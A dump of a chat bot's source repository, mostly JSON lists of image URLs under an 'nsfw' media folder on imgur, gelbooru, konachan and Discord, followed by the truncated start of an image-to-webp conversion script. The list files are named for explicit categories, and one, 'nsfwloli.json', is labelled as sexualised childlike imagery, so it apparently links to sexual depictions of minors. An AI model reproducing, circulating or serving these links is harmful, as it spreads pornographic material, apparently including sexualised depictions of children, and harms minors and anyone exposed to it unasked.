{"url":"https://preview.redd.it/eqisu83qxja51.jpg?width=640&crop=smart&auto=webp&s=54bbd433d0f3206555845a13ad7aa8a29d6eb31a"}, 6 | {"url":"https://external-preview.redd.it/8DyA_Dx4zSEL6V-7RQYO4OhjbQtvY3Ag4rlXysx_H1E.jpg?width=640&crop=smart&auto=webp&s=b15c632b0cdd50788a99c1a5fc645ce102739a9a"}, 7 | {"url":"https://preview.redd.it/oic475rmc5a51.jpg?width=640&crop=smart&auto=webp&s=bbec12eccfdd7b6733e87044b228f4ddcf8fa745"}, 8 | {"url":"https://preview.redd.it/lylstsbca0a51.jpg?width=640&crop=smart&auto=webp&s=476314691a2e8ad0d617864478ef3f391e03db4c"}, 9 | {"url":"https://preview.redd.it/hfzd4v5w90a51.jpg?width=640&crop=smart&auto=webp&s=ccbc7ccb7843d860a3e263564da4e0099418475b"}, 10 | {"url":"https://preview.redd.it/gxa5cgl2a0a51.jpg?width=640&crop=smart&auto=webp&s=d78c2096228f5fdca2ca8ee2bbfc5a43a8b7673e"}, 11 | {"url":"https://preview.redd.it/9fz5s4txe0a51.jpg?width=640&crop=smart&auto=webp&s=23e34c4b45ab6e010b45a710bb341cd7803756d5"}, 12 | {"url":"https://preview.redd.it/6verfsj2h0a51.jpg?width=640&crop=smart&auto=webp&s=e8dde94d1609b874ecb7b934342f9221f4240a7b"}, 13 | {"url":"https://preview.redd.it/qspm0fj1b0a51.jpg?width=640&crop=smart&auto=webp&s=2517d1a807c43b4e977f62dc1fbe84fa5582b378"}, 14 | {"url":"https://preview.redd.it/p7eh0n7ab0a51.jpg?width=640&crop=smart&auto=webp&s=aa441c66c7f581dce98dd74f8edc2a3f47e192ae"}, 15 | {"url":"https://preview.redd.it/qspu4gtte0a51.jpg?width=640&crop=smart&auto=webp&s=9a1e9fa1eabb8de0f7a7ca3c45e523dfc1015306"}, 16 | {"url":"https://preview.redd.it/r4brq4hgb0a51.jpg?width=640&crop=smart&auto=webp&s=49aef26c9c3cac03dbd409a33bb24f0493a67e49"}, 17 | {"url":"https://preview.redd.it/vhuh8ecqis951.jpg?width=640&crop=smart&auto=webp&s=037f5b6f2103c7addb9e7d2025800425cdd65eb0"}, 18 | {"url":"https://preview.redd.it/lq60bcd84r951.jpg?width=640&crop=smart&auto=webp&s=3c5927bcc794cd9b5c27aa06eb1bbab684e534f1"}, 19 | {"url":"https://preview.redd.it/9rfpyf8lpi951.jpg?width=640&crop=smart&auto=webp&s=a45ebf4afa922b805cf07ff277750a682ba06cc3"}, 20 | {"url":"https://i.imgur.com/jpUzn2Sl.jpg"}, 21 | {"url":"https://external-preview.redd.it/zzqHXDvEB1wxlcw_DLCYHv5t1cyy2vpPbPLGKVLL2IA.png?width=640&crop=smart&auto=webp&s=8a0189ab1532711f83fcddda72c38ab482d11574"}, 22 | {"url":"https://preview.redd.it/5ngzle9v27951.jpg?width=640&crop=smart&auto=webp&s=06aad00ee95e08a7d2f42741a23738283df2a6bf"}, 23 | {"url":"https://preview.redd.it/q2w7pdc5g2951.jpg?width=640&crop=smart&auto=webp&s=d007ad44577522f0a9a8a6b6f8e68e4d1c3d04a9"}, 24 | {"url":"https://preview.redd.it/u7ih65blu4951.jpg?width=640&crop=smart&auto=webp&s=fd8635757a72267ee7b1f43ad583c8c4f20aa881"}, 25 | {"url":"https://preview.redd.it/a09x6t5yau851.jpg?width=640&crop=smart&auto=webp&s=b4a936c682a95b3d1167d6f081f2e413fbbeeced"}, 26 | {"url":"https://preview.redd.it/0zbwmjgbos851.png?width=640&crop=smart&auto=webp&s=843927c6c0f025979b47e2a5b80c3dc3a8277df3"}, 27 | {"url":"https://external-preview.redd.it/_SBnRvsn9RsgCLA4q73UEVEIYsiU0XWMY9Wj-_gyLcQ.jpg?width=640&crop=smart&auto=webp&s=1150a801109486e3833e1f638b089b147bbee0c6"}, 28 | {"url":"https://external-preview.redd.it/TwzyTcr-UF2G7fEztN4wuyLxP9uWWcuPplg2f3MoaIQ.jpg?auto=webp&s=762b5a72e78a48c45dc1656ab380e900d8c4d8ce"}, 29 | {"url":"https://external-preview.redd.it/jLACDnpzKi2QlnP6YfJVmCgF_Q3q0RQeSzwtzHvt-x4.jpg?auto=webp&s=01b972577454e0badd9751d158c923c26faff538"}, 30 | {"url":"https://external-preview.redd.it/5IBtfs4HZFIyb6j2W4f43ECE7Qy3SC7-NxAMHqrTb2A.jpg?width=640&crop=smart&auto=webp&s=08d46297adfb28307fe67e95d42b074769caf1bc"}, 31 | {"url":"https://external-preview.redd.it/W62_5OFBWxqMTsFCSVWtFF95fzSPCQAAyvUglnP0wlU.jpg?width=640&crop=smart&auto=webp&s=bb3bb7fc8524c2a3104ebdc453e9c887b2884fad"}, 32 | {"url":"https://i.imgur.com/e1pkoFbl.jpg"}, 33 | {"url":"https://media.discordapp.net/attachments/683356351090786329/754001647390425199/xj96381n0tl51.png"}, 34 | {"url":"https://preview.redd.it/m05giq0gexk51.jpg?width=640&crop=smart&auto=webp&s=f99d6724880a60b6ca501c7bbab976fa60e00f79"}, 35 | {"url":"https://preview.redd.it/lis0v6iinek51.jpg?width=640&crop=smart&auto=webp&s=44c024e27567e76225933b233f2dee50531b63d2"}, 36 | {"url":"https://preview.redd.it/9ha5i3pvh4k51.jpg?width=640&crop=smart&auto=webp&s=8f7d8185e9dd210b28827ae7842de95231fcf612"}, 37 | {"url":"https://preview.redd.it/j5zwdq59k4k51.jpg?width=960&crop=smart&auto=webp&s=4b4d92bf5e8012c78e6f8ce898fd2fc0ed339729"}, 38 | {"url":"https://preview.redd.it/id5t6c19wuj51.jpg?width=640&crop=smart&auto=webp&s=3cff2a823fd2879ce27cf89aa8873228c8808fb2"}, 39 | {"url":"https://preview.redd.it/zf4z5nwl7gj51.jpg?width=640&crop=smart&auto=webp&s=80b6cdef314e06025ba3940c917eb15121e8b35d"}, 40 | {"url":"https://preview.redd.it/7pusux01edj51.jpg?width=640&crop=smart&auto=webp&s=cba0bb7c7e0fdb41bc3ff0d900b4480df5d625c1"}, 41 | {"url":"https://preview.redd.it/5swx9a64c9j51.jpg?width=640&crop=smart&auto=webp&s=7880a1b6fe3c728e456418f88d33c652c48b75ee"}, 42 | {"url":"https://preview.redd.it/zglkxq4fd0j51.jpg?width=640&crop=smart&auto=webp&s=32a2e988c45831642c9378a3cc2fa4bd3a876d95"}, 43 | {"url":"https://preview.redd.it/a8d135n7fsi51.jpg?width=640&crop=smart&auto=webp&s=be8cd33df8be54b3c8480c674d4ccfbfe18810c1"}, 44 | {"url":"https://preview.redd.it/qz368x2wcoi51.jpg?width=640&crop=smart&auto=webp&s=f8af6cada5dcc398ba2fa9b75dd73e5eb9865025"}, 45 | {"url":"https://img2.gelbooru.com/samples/bf/ad/sample_bfaddd4539b94f78aca053caa49a9e62.jpg"}, 46 | {"url":"https://konachan.com/sample/e6970436ee2b650d3fcde3cb4210e6f2/Konachan.com%20-%20317290%20sample.jpg"}, 47 | {"url":"https://konachan.com/sample/2009598d749a5a111e61d5c65e3c757c/Konachan.com%20-%20317279%20sample.jpg"}, 48 | {"url":"https://konachan.com/sample/747b76bfb23f7903019da58fb09bea9b/Konachan.com%20-%20316633%20sample.jpg"} 49 | ] -------------------------------------------------------------------------------- /src/media/nsfw/nsfwloli.json: -------------------------------------------------------------------------------- 1 | [ 2 | {"url":"https://i.imgur.com/5Gy4Ae2.jpg"}, 3 | {"url":"https://i.imgur.com/FXp0hGU.jpg"}, 4 | {"url":"https://i.imgur.com/tU8GBob.jpg"}, 5 | {"url":"https://i.imgur.com/RtIXKxC.jpg"}, 6 | {"url":"https://i.imgur.com/a6pBhe9.png"}, 7 | {"url":"https://i.imgur.com/xo9ML6M.jpg"}, 8 | {"url":"https://i.imgur.com/KKlDXsK.jpg"}, 9 | {"url":"https://i.imgur.com/STBCw2H.png"}, 10 | {"url":"https://i.imgur.com/TeKeKc4.jpg"}, 11 | {"url":"https://i.imgur.com/I96qZO1.jpg"}, 12 | {"url":"https://i.imgur.com/OSV4mr2.jpg"}, 13 | {"url":"https://i.imgur.com/Vkpw2lP.jpg"}, 14 | {"url":"https://i.imgur.com/vNkuk9X.jpg"}, 15 | {"url":"https://i.imgur.com/u0QSm8h.png"}, 16 | {"url":"https://i.imgur.com/orXLh6Q.png"}, 17 | {"url":"https://i.imgur.com/XB3ddkI.jpg"}, 18 | {"url":"https://i.imgur.com/vUvbdkP.jpg"}, 19 | {"url":"https://i.imgur.com/tT8fpNP.jpg"}, 20 | {"url":"https://i.imgur.com/jQxRZd6.jpg"}, 21 | {"url":"https://i.imgur.com/DWTELtS.jpg"}, 22 | {"url":"https://i.imgur.com/H4Efb3W.jpg"}, 23 | {"url":"https://i.imgur.com/AG4VSlz.jpg"}, 24 | {"url":"https://i.imgur.com/IKPk8Fn.jpg"}, 25 | {"url":"https://i.imgur.com/55tfVR6.jpg"}, 26 | {"url":"https://i.imgur.com/DH7ZhK2.jpg"}, 27 | {"url":"https://i.imgur.com/0tpqKAn.jpg"}, 28 | {"url":"https://i.imgur.com/8HFNNP9.jpg"}, 29 | {"url":"https://i.imgur.com/VFE29f0.png"}, 30 | {"url":"https://i.imgur.com/NTB4Ets.jpg"}, 31 | {"url":"https://i.imgur.com/DP6PAIX.png"}, 32 | {"url":"https://i.imgur.com/H4QObui.jpg"}, 33 | {"url":"https://i.imgur.com/Q76FGLD.jpg"}, 34 | {"url":"https://i.imgur.com/1UsHgyG.jpg"}, 35 | {"url":"https://i.imgur.com/efugtug.jpg"}, 36 | {"url":"https://i.imgur.com/oceGGfa.jpg"}, 37 | {"url":"https://i.imgur.com/LUMcFrc.jpg"}, 38 | {"url":"https://i.imgur.com/3ghty1m.jpg"}, 39 | {"url":"https://i.imgur.com/DI2L8QK.jpg"}, 40 | {"url":"https://i.imgur.com/WTPyukP.jpg"}, 41 | {"url":"https://i.imgur.com/OOhoCoQ.jpg"}, 42 | {"url":"https://i.imgur.com/1KqzRgF.jpg"}, 43 | {"url":"https://i.imgur.com/BMQTV59.jpg"}, 44 | {"url":"https://i.imgur.com/foosdbg.jpg"}, 45 | {"url":"https://i.imgur.com/T4I5qmn.jpg"}, 46 | {"url":"https://i.imgur.com/SZhWCQj.png"}, 47 | {"url":"https://i.imgur.com/r9Xe3Ku.jpg"}, 48 | {"url":"https://i.imgur.com/5AjjS3F.jpg"}, 49 | {"url":"https://i.imgur.com/vwaCltl.jpg"}, 50 | {"url":"https://i.imgur.com/vAz3s0G.jpg"}, 51 | {"url":"https://i.imgur.com/A8Rgyz2.jpg"}, 52 | {"url":"https://i.imgur.com/OMnMukk.jpg"}, 53 | {"url":"https://i.imgur.com/K5LS2p7.jpg"}, 54 | {"url":"https://i.imgur.com/Npvdm9T.jpg"}, 55 | {"url":"https://i.imgur.com/YwpdGCI.jpg"}, 56 | {"url":"https://i.imgur.com/pYoH5bm.jpg"}, 57 | {"url":"https://i.imgur.com/6UGTYFV.jpg"}, 58 | {"url":"https://i.imgur.com/UhzImzH.jpg"}, 59 | {"url":"https://i.imgur.com/Z37WIwP.jpg"}, 60 | {"url":"https://i.imgur.com/fzcpkqX.jpg"}, 61 | {"url":"https://i.imgur.com/QbbEibV.jpg"}, 62 | {"url":"https://i.imgur.com/KxcTAzy.jpg"}, 63 | {"url":"https://i.imgur.com/ngSWgTT.jpg"}, 64 | {"url":"https://i.imgur.com/ss8MumR.jpg"}, 65 | {"url":"https://i.imgur.com/2JE0VvF.jpg"}, 66 | {"url":"https://i.imgur.com/WdAdtQi.jpg"}, 67 | {"url":"https://i.imgur.com/ExfC7t2.jpg"}, 68 | {"url":"https://i.imgur.com/eIW7iBI.jpg"}, 69 | {"url":"https://i.imgur.com/ZMLS8Ru.jpg"}, 70 | {"url":"https://i.imgur.com/4amKFCf.jpg"}, 71 | {"url":"https://i.imgur.com/S6Gjf0q.jpg"}, 72 | {"url":"https://i.imgur.com/65eT6Im.jpg"}, 73 | {"url":"https://i.imgur.com/aSipcLd.jpg"}, 74 | {"url":"https://i.imgur.com/pxFagWe.jpg"}, 75 | {"url":"https://i.imgur.com/bwtxjHo.jpg"}, 76 | {"url":"https://i.imgur.com/NPNF7HK.jpg"}, 77 | {"url":"https://i.imgur.com/xSGybIA.jpg"}, 78 | {"url":"https://i.imgur.com/Y5UCft4.jpg"}, 79 | {"url":"https://i.imgur.com/SrmyNi1.jpg"}, 80 | {"url":"https://i.imgur.com/daCe3lE.jpg"}, 81 | {"url":"https://i.imgur.com/UHByRe6.jpg"}, 82 | {"url":"https://i.imgur.com/prlcgQg.jpg"}, 83 | {"url":"https://i.imgur.com/nHQp9Jc.jpg"}, 84 | {"url":"https://i.imgur.com/fsQCEn0.jpg"}, 85 | {"url":"https://i.imgur.com/XIx0IgX.jpg"}, 86 | {"url":"https://i.imgur.com/PVOYTDz.jpg"}, 87 | {"url":"https://i.imgur.com/JUDbqn3.jpg"}, 88 | {"url":"https://i.imgur.com/7j9DJFD.jpg"}, 89 | {"url":"https://i.imgur.com/T5NBJP6.jpg"}, 90 | {"url":"https://i.imgur.com/8sdegHR.jpg"}, 91 | {"url":"https://i.imgur.com/4417phO.jpg"}, 92 | {"url":"https://i.imgur.com/QGNVBGE.jpg"}, 93 | {"url":"https://i.imgur.com/6RXigzC.jpg"}, 94 | {"url":"https://i.imgur.com/iymw1WJ.jpg"}, 95 | {"url":"https://i.imgur.com/XWf4bxA.jpg"}, 96 | {"url":"https://i.imgur.com/1swVUEF.png"}, 97 | {"url":"https://i.imgur.com/l1qv8CS.png"}, 98 | {"url":"https://i.imgur.com/7cdN0FF.png"}, 99 | {"url":"https://i.imgur.com/kFL1d7F.png"}, 100 | {"url":"https://i.imgur.com/GZAG3Br.png"}, 101 | {"url":"https://i.imgur.com/MHFoUHu.png"}, 102 | {"url":"https://i.imgur.com/qtLSDCd.png"}, 103 | {"url":"https://i.imgur.com/ocsC8sb.png"}, 104 | {"url":"https://i.imgur.com/4r302Tj.png"}, 105 | {"url":"https://i.imgur.com/GwxzusL.png"}, 106 | {"url":"https://i.imgur.com/NjgXtpR.png"}, 107 | {"url":"https://i.imgur.com/4hEk1Sj.png"}, 108 | {"url":"https://i.imgur.com/BYtJXbK.png"}, 109 | {"url":"https://i.imgur.com/wsrqfa6.png"}, 110 | {"url":"https://i.imgur.com/loG4Ikx.png"}, 111 | {"url":"https://i.imgur.com/z0XKC8e.png"}, 112 | {"url":"https://i.imgur.com/xaWsood.png"}, 113 | {"url":"https://i.imgur.com/yYvpe41.png"}, 114 | {"url":"https://i.imgur.com/xA4IiRK.png"}, 115 | {"url":"https://i.imgur.com/FLzX4Ag.png"}, 116 | {"url":"https://i.imgur.com/G5m0OVU.png"}, 117 | {"url":"https://i.imgur.com/xXdsjF0.png"}, 118 | {"url":"https://i.imgur.com/Wvb1tAw.png"}, 119 | {"url":"https://i.imgur.com/xEX3l29.png"}, 120 | {"url":"https://i.imgur.com/rVZ6zet.png"}, 121 | {"url":"https://i.imgur.com/VKyHhAH.png"}, 122 | {"url":"https://i.imgur.com/h06LAgD.png"}, 123 | {"url":"https://i.imgur.com/q51mnry.png"}, 124 | {"url":"https://i.imgur.com/sM23kNv.png"}, 125 | {"url":"https://i.imgur.com/S2B9dfE.png"}, 126 | {"url":"https://i.imgur.com/LEqNv2B.png"}, 127 | {"url":"https://i.imgur.com/GenlAx5.png"}, 128 | {"url":"https://i.imgur.com/odMI0Qih.jpg"} 129 | ] 130 | -------------------------------------------------------------------------------- /src/media/nsfw/gangbang.json: -------------------------------------------------------------------------------- 1 | [ 2 | {"url":"https://img2.gelbooru.com/samples/34/45/sample_34459111cb632e38a8c40ee942ddf843.jpg"}, 3 | {"url":"https://img2.gelbooru.com/images/31/e7/31e7c44931e7448f4181031594182ed9.jpg"}, 4 | {"url":"https://gelbooru.com/index.php?page=post&s=view&id=5596970&tags=multiple_penises"}, 5 | {"url":"https://img2.gelbooru.com/samples/13/6b/sample_136bed9dc6974c934f568bee7c441cc5.jpg"}, 6 | {"url":"https://img2.gelbooru.com/samples/4b/49/sample_4b493bd0e14ddc012799a72c41ebc1ec.jpg"}, 7 | {"url":"https://img2.gelbooru.com/samples/46/c7/sample_46c7279d81794bc2293fb8dcf1120ac6.jpg"}, 8 | {"url":"https://img2.gelbooru.com/images/1a/5f/1a5f18396a948fb86108de83967f29cb.jpg"}, 9 | {"url":"https://img2.gelbooru.com/images/d7/f9/d7f9aceb5c4250f689c5fca077726541.jpg"}, 10 | {"url":"https://img2.gelbooru.com/samples/a3/07/sample_a307112f00bcc7fa3596ffe2e54b8f42.jpg"}, 11 | {"url":"https://img2.gelbooru.com/images/62/f6/62f600e5ea118bdf1d1681e1e71bd852.jpg"}, 12 | {"url":"https://img2.gelbooru.com/images/62/f6/62f600e5ea118bdf1d1681e1e71bd852.jpg"}, 13 | {"url":"https://img2.gelbooru.com/images/9e/3a/9e3a87763750b8ebbbec5916da579656.jpg"}, 14 | {"url":"https://img2.gelbooru.com/images/6d/9f/6d9f279b25996efbaddb6416dc8235c6.jpg"}, 15 | {"url":"https://img2.gelbooru.com/images/c1/8b/c18bc5cb557d2c63662337bcff56db31.jpg"}, 16 | {"url":"https://img2.gelbooru.com/samples/0f/04/sample_0f04a7ee3ed4ca6885d079aeceeac64c.jpg"}, 17 | {"url":"https://img2.gelbooru.com/images/68/6f/686fc564acdda2858f0f4a032797ef4d.jpg"}, 18 | {"url":"https://img2.gelbooru.com/samples/8a/21/sample_8a21fe7e8c5327bf754e1182fd732095.jpg"}, 19 | {"url":"https://img2.gelbooru.com/samples/b9/66/sample_b9667235ff2c49c75d8cabdb2707785f.jpg"}, 20 | {"url":"https://img2.gelbooru.com/samples/bd/b3/sample_bdb3c0b983a300b78867aaa9b93f63de.jpg"}, 21 | {"url":"https://img2.gelbooru.com/samples/e6/ce/sample_e6ceaa105dea5fe9081cb52fdef92513.jpg"}, 22 | {"url":"https://img2.gelbooru.com/images/37/e8/37e882cbc065a8a1874bc99928cc14ea.jpg"}, 23 | {"url":"https://img2.gelbooru.com/samples/f1/c5/sample_f1c539235686301e85f943665d88fbdc.jpg"}, 24 | {"url":"https://img2.gelbooru.com/samples/32/69/sample_326944dacf4e9b71928280f7066aa253.jpg"}, 25 | {"url":"https://img2.gelbooru.com/samples/6a/0e/sample_6a0e8a07c06dfde5bd1fb5c633bbb59c.jpg"}, 26 | {"url":"https://img2.gelbooru.com/samples/fc/b8/sample_fcb8850246c8aef78eb4e3708eeaab88.jpg"}, 27 | {"url":"https://img2.gelbooru.com/samples/9d/4b/sample_9d4bfd4c996be28a7e54c12678a8c5e2.jpg"}, 28 | {"url":"https://img2.gelbooru.com/samples/e7/6e/sample_e76ee790a06401e7dc6809f3c9c7fc3b.jpg"}, 29 | {"url":"https://img2.gelbooru.com/samples/15/f7/sample_15f7245377fe7189dd7442990215bfea.jpg"}, 30 | {"url":"https://img2.gelbooru.com/images/b2/d0/b2d012e396290bdb4a8c11572cefe9bd.png"}, 31 | {"url":"https://img2.gelbooru.com/images/66/8d/668d9b9c2f30ec0146b53d9fbde021a5.jpg"}, 32 | {"url":"https://img2.gelbooru.com/images/64/83/64833a1ce79e5dc94f7328354ab0a2d7.jpg"}, 33 | {"url":"https://img2.gelbooru.com/samples/88/86/sample_8886c84620e6bf410323c83844556025.jpg"}, 34 | {"url":"https://img2.gelbooru.com/samples/6f/db/sample_6fdb557c345722bbd119a3961328079e.jpg"}, 35 | {"url":"https://img2.gelbooru.com/samples/17/e2/sample_17e217960c692674d0dc74f879c089af.jpg"}, 36 | {"url":"https://img2.gelbooru.com/samples/f4/13/sample_f413ad61e0ae6c07e36754781c06e646.jpg"}, 37 | {"url":"https://img2.gelbooru.com/samples/09/ac/sample_09ac8638fe88834bf6dbabc2ce550aee.jpg"}, 38 | {"url":"https://img2.gelbooru.com/samples/72/8d/sample_728dc0b49e5f051557ede4f47df9326c.jpg"}, 39 | {"url":"https://img2.gelbooru.com/images/4d/a1/4da1613bb4bd119e52e08bc38dd85fe0.jpg"}, 40 | {"url":"https://img2.gelbooru.com/samples/31/dc/sample_31dce5b51052cb58015bfcd645f45c8e.jpg"}, 41 | {"url":"https://img2.gelbooru.com/samples/f1/98/sample_f198f9f3e2d99eaa1bb034205369f2ae.jpg"}, 42 | {"url":"https://img2.gelbooru.com/samples/d5/75/sample_d575c6b47af35d91755c3cb6eb423d3f.jpg"}, 43 | {"url":"https://konachan.com/sample/8f46ff65ee4b208316a0c4bdcc989370/Konachan.com%20-%20317317%20sample.jpg"}, 44 | {"url":"https://konachan.com/sample/2b26ab530b7c6f015873004040e4ae60/Konachan.com%20-%20317285%20sample.jpg"}, 45 | {"url":"https://konachan.com/sample/2009598d749a5a111e61d5c65e3c757c/Konachan.com%20-%20317279%20sample.jpg"}, 46 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/770953743255470140/49feaec0-0192-449a-82b7-44b717d9d849.jpg"}, 47 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/770969329357160498/GIF_52.gif"}, 48 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/770983088888610826/1c6dc9b8-6e04-45fb-b78f-1aa741e98d2d.gif"}, 49 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/770986448329506846/3360-xWcGyI07i_A.jpg"}, 50 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/770986610749603861/3471-9vvJccyONJk.jpg"}, 51 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/770987549363535902/16c691dc-bbbc-4c1c-b7e9-d1bc9f4c3d50.jpg"}, 52 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/770988869780635688/3cfbdf1c-d533-4ba9-ab3d-ca49d2ac0b0a.gif"}, 53 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/770988991394611230/3a7d63407f9f5143517202feea7111fc.jpeg"}, 54 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/770989484657344512/lusciousnet_swimsuit_slave_949905045.jpg"}, 55 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771000856518721536/0500-JoBwW6kA3kk.jpg"}, 56 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771000963888316456/0503-yDlwnTv6si4.jpg"}, 57 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771001745924816896/0555-it84pW6ebn4.jpg"}, 58 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771002263976017940/603-mq77h7AVEfA.jpg"}, 59 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771002980522655755/0663-d87YM3v4VjE.jpg"}, 60 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771016785435688960/1721-Thyo_5A5g9I.jpg"}, 61 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771016825914916894/1725-XhHmtbknnmQ.jpg"}, 62 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771030693425053726/382f3175-dcff-439c-89fb-309ed04d52fd.jpg"} 63 | ] -------------------------------------------------------------------------------- /src/media/nsfw/tentacles.json: -------------------------------------------------------------------------------- 1 | [ 2 | {"url":"https://media.discordapp.net/attachments/531827778664923137/773578218938695710/7551vtd641x51.png"}, 3 | {"url":"https://media.discordapp.net/attachments/443583003650818048/764789074191581194/c0ae953.jpg"}, 4 | {"url":"https://media.discordapp.net/attachments/443583003650818048/745212696802361375/9d37dd9.jpg"}, 5 | {"url":"https://media.discordapp.net/attachments/443583003650818048/744562136222662746/image0.jpg"}, 6 | {"url":"https://media.discordapp.net/attachments/531827778664923137/745758733958905947/4345411.webp"}, 7 | {"url":"https://media.discordapp.net/attachments/531827778664923137/745758644368572516/19493144.webp"}, 8 | {"url":"https://media.discordapp.net/attachments/531827778664923137/745758735456010391/21141020.webp"}, 9 | {"url":"https://media.discordapp.net/attachments/531827778664923137/745758825008726226/23076769.webp"}, 10 | {"url":"https://media.discordapp.net/attachments/443583003650818048/756081978981482566/1c1bea1.jpg"}, 11 | {"url":"https://media.discordapp.net/attachments/443583003650818048/725800863641239562/f83903e.jpg"}, 12 | {"url":"https://media.discordapp.net/attachments/443583003650818048/725565213679812638/82106129_p0.png"}, 13 | {"url":"https://media.discordapp.net/attachments/531827778664923137/745758890301587606/978374.webp"}, 14 | {"url":"https://media.discordapp.net/attachments/531827778664923137/745758789973573682/15646561.webp"}, 15 | {"url":"https://media.discordapp.net/attachments/531827778664923137/745758825251995818/21918951.webp"}, 16 | {"url":"https://media.discordapp.net/attachments/443583003650818048/755158343869399223/d4e1d21.jpg"}, 17 | {"url":"https://media.discordapp.net/attachments/531827778664923137/745758792893071430/17791043.webp"}, 18 | {"url":"https://media.discordapp.net/attachments/531827778664923137/749792395364794368/lusciousnet_lusciousnet_jsoq-hentai-tentacles-8_980029619.png"}, 19 | {"url":"https://media.discordapp.net/attachments/443583003650818048/754533144618598400/danbooru.donmai.us_4094538_1girl_bangs_black_dress_black_gloves_blonde_hair_blue_eyes_blunt_bangs_bl.jpg"}, 20 | {"url":"https://media.discordapp.net/attachments/531827778664923137/769442458492731412/1603519760709.jpg"}, 21 | {"url":"https://media.discordapp.net/attachments/443583003650818048/730975135481462864/82523373_p5.png"}, 22 | {"url":"https://media.discordapp.net/attachments/531827778664923137/745758791915536484/16597833.webp"}, 23 | {"url":"https://media.discordapp.net/attachments/531827778664923137/757059549768450079/1.jpg"}, 24 | {"url":"https://media.discordapp.net/attachments/531827778664923137/757059546903740426/3.jpg"}, 25 | {"url":"https://media.discordapp.net/attachments/531827778664923137/745758644166983790/4345075.webp"}, 26 | {"url":"https://media.discordapp.net/attachments/443583003650818048/729892051273121810/cf26fdb.jpg"}, 27 | {"url":"https://media.discordapp.net/attachments/531827778664923137/745758791722860756/18232364.webp"}, 28 | {"url":"https://media.discordapp.net/attachments/531827778664923137/765844796207267840/image0.png"}, 29 | {"url":"https://media.discordapp.net/attachments/531827778664923137/745758645093925034/4345408.webp"}, 30 | {"url":"https://media.discordapp.net/attachments/531827778664923137/745758644871757894/18232408.webp"}, 31 | {"url":"https://images-ext-2.discordapp.net/external/NYZZ15GoH0llotcCWawIKfD9pg2khWOEs6oHWWYkNFA/https/i.redd.it/56vqrruvxn651.jpg"}, 32 | {"url":"https://media.discordapp.net/attachments/443583003650818048/754521630008672336/danbooru.donmai.us_4094532_2girls_aki_rosenthal_arms_up_bangs_bare_shoulders_between_breasts_black_d.jpg"}, 33 | {"url":"https://media.discordapp.net/attachments/531827778664923137/770327984414392331/5146a6a.gif"}, 34 | {"url":"https://media.discordapp.net/attachments/443583003650818048/731211078423412736/image0.png"}, 35 | {"url":"https://media.discordapp.net/attachments/443583003650818048/744562159391998063/image0.jpg"}, 36 | {"url":"https://media.discordapp.net/attachments/531827778664923137/745758891823988746/20734855.webp"}, 37 | {"url":"https://images-ext-2.discordapp.net/external/Z1hn_vbAUsLF585snuh1ZsiWRN7NtjymYFTk2KLYo5k/https/danbooru.donmai.us/data/981f5809de874854c2aadafd7a0ac825.jpg"}, 38 | {"url":"https://media.discordapp.net/attachments/531827778664923137/745758824819851334/23492073.webp"}, 39 | {"url":"https://media.discordapp.net/attachments/531827778664923137/745758791307362344/19460609.webp"}, 40 | {"url":"https://media.discordapp.net/attachments/531827778664923137/745758792670642237/784690.webp"}, 41 | {"url":"https://media.discordapp.net/attachments/531827778664923137/745758890775281734/3815739.webp"}, 42 | {"url":"https://media.discordapp.net/attachments/443583003650818048/731211085822034011/image0.png"}, 43 | {"url":"https://media.discordapp.net/attachments/531827778664923137/745758643621986334/14563131.webp"}, 44 | {"url":"https://media.discordapp.net/attachments/531827778664923137/745758824413003886/20226727.webp"}, 45 | {"url":"https://media.discordapp.net/attachments/443583003650818048/729076856757813288/74ad40a.jpg"}, 46 | {"url":"https://media.discordapp.net/attachments/531827778664923137/767424073511862272/th.jpeg.jpg"}, 47 | {"url":"https://media.discordapp.net/attachments/531827778664923137/745758890570022982/17790987.webp"}, 48 | {"url":"https://media.discordapp.net/attachments/746482636465111090/746649624143724575/image0.jpg"}, 49 | {"url":"https://media.discordapp.net/attachments/443583003650818048/761656606491672596/CheerioNzoth.png"}, 50 | {"url":"https://media.discordapp.net/attachments/531827778664923137/773295377977704458/lusciousnet_lusciousnet_neo-and-grimm-tentacles-by-shonomi_1686943761.640x0.jpg"}, 51 | {"url":"https://media.discordapp.net/attachments/531827778664923137/745758824186773504/22826555.webp"}, 52 | {"url":"https://media.discordapp.net/attachments/531827778664923137/745758734281736202/16629093.webp"}, 53 | {"url":"https://media.discordapp.net/attachments/443583003650818048/731211064846319696/image0.jpg"}, 54 | {"url":"https://media.discordapp.net/attachments/443583003650818048/754533102532952165/danbooru.donmai.us_4094886_1girl_bangs_black_dress_black_gloves_blonde_hair_blue_eyes_blunt_bangs_bl.jpg"}, 55 | {"url":"https://media.discordapp.net/attachments/531827778664923137/745758789713657936/16691138.webp"} 56 | ] -------------------------------------------------------------------------------- /exif.js: -------------------------------------------------------------------------------- 1 | const fs = require('fs') 2 | const { tmpdir } = require("os") 3 | const Crypto = require("crypto") 4 | const ff = require('fluent-ffmpeg') 5 | const webp = require("node-webpmux") 6 | const path = require("path") 7 | 8 | async function imageToWebp (media) { 9 | const tmpFileOut = path.join(tmpdir(), `${Crypto.randomBytes(6).readUIntLE(0, 6).toString(36)}.webp`) 10 | const tmpFileIn = path.join(tmpdir(), `${Crypto.randomBytes(6).readUIntLE(0, 6).toString(36)}.jpg`) 11 | fs.writeFileSync(tmpFileIn, media) 12 | await new Promise((resolve, reject) => { 13 | ff(tmpFileIn) 14 | .on("error", reject) 15 | .on("end", () => resolve(true)) 16 | .addOutputOptions([ 17 | "-vcodec", 18 | "libwebp", 19 | "-vf", 20 | 